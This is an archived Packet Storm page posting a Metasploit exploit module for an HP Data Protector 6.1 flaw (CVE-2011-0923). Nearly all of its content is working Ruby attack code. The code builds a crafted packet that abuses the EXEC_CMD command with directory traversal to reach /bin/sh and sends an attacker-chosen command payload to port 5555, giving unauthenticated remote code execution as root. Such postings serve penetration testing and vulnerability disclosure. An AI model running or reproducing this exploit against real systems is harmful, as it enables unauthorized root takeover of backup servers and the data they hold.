what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HP Data Protector 6.1 EXEC_CMD Remote Code Execution

HP Data Protector 6.1 EXEC_CMD Remote Code Execution
Posted Feb 24, 2012
Authored by Wireghoul, ch0ks, c4an | Site metasploit.com

This exploit abuses a vulnerability in the HP Data Protector service. This flaw allows an unauthenticated attacker to take advantage of the EXEC_CMD command and traverse back to /bin/sh, this allows arbitrary remote code execution under the context of root.

tags | exploit, remote, arbitrary, root, code execution
advisories | CVE-2011-0923
SHA-256 | 95add5b2ce4d94dcd719eaead5d7369aff78a1ef7a8325a02fc4a43b2369c0b5

HP Data Protector 6.1 EXEC_CMD Remote Code Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'HP Data Protector 6.1 EXEC_CMD Remote Code Execution',
'Description' => %q{
This exploit abuses a vulnerability in the HP Data Protector service. This
flaw allows an unauthenticated attacker to take advantage of the EXEC_CMD
command and traverse back to /bin/sh, this allows arbitrary remote code
execution under the context of root.
},
'Author' =>
[
'ch0ks', # poc
'c4an', # msf poc
'wireghoul' # Improved msf
],
'References' =>
[
[ 'CVE', '2011-0923'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-055/'],
[ 'URL', 'http://c4an-dl.blogspot.com/hp-data-protector-vuln.html'],
[ 'URL', 'http://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux']
],
'DisclosureDate' => 'Feb 7 2011',
'Platform' => [ 'unix','linux'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 10000,
'DisableNops' => true,
'Compat' => { 'PayloadType' => 'cmd' }
},
'Targets' =>
[
[ 'HP Data Protector 6.10/6.11 on Linux', {}]
],
'DefaultTarget' => 0
))

register_options([Opt::RPORT(5555),], self.class)
end

def exploit

user = rand_text_alpha(4)

packet = "\x00\x00\x00\xa4\x20\x32\x00\x20"
packet << user*2
packet << "\x00\x20\x30\x00\x20"
packet << "SYSTEM"
packet << "\x00\x20\x63\x34\x61\x6e"
packet << "\x20\x20\x20\x20\x20\x00\x20\x43\x00\x20\x32\x30\x00\x20"
packet << user
packet << "\x20\x20\x20\x20\x00\x20"
packet << "\x50\x6f\x63"
packet << "\x00\x20"
packet << "NTAUTHORITY"
packet << "\x00\x20"
packet << "NTAUTHORITY"
packet << "\x00\x20"
packet << "NTAUTHORITY"
packet << "\x00\x20\x30\x00\x20\x30\x00\x20"
packet << "../../../../../../../../../../"

shell_mio = "bin/sh"
salto = "\n"
s = salto.encode

shell = shell_mio
shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
shell << payload.encoded
shell << s

sploit = packet + shell

begin
print_status("Sending our commmand...")
connect
sock.put(sploit)
print_status("Waiting ...")
handler

# Read command output from socket if cmd/unix/generic payload was used
if (datastore['CMD'])
res = sock.get
print_status(res.to_s) if not res.empty?
end

rescue
print_error("Error in connection or socket")
ensure
disconnect
end
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close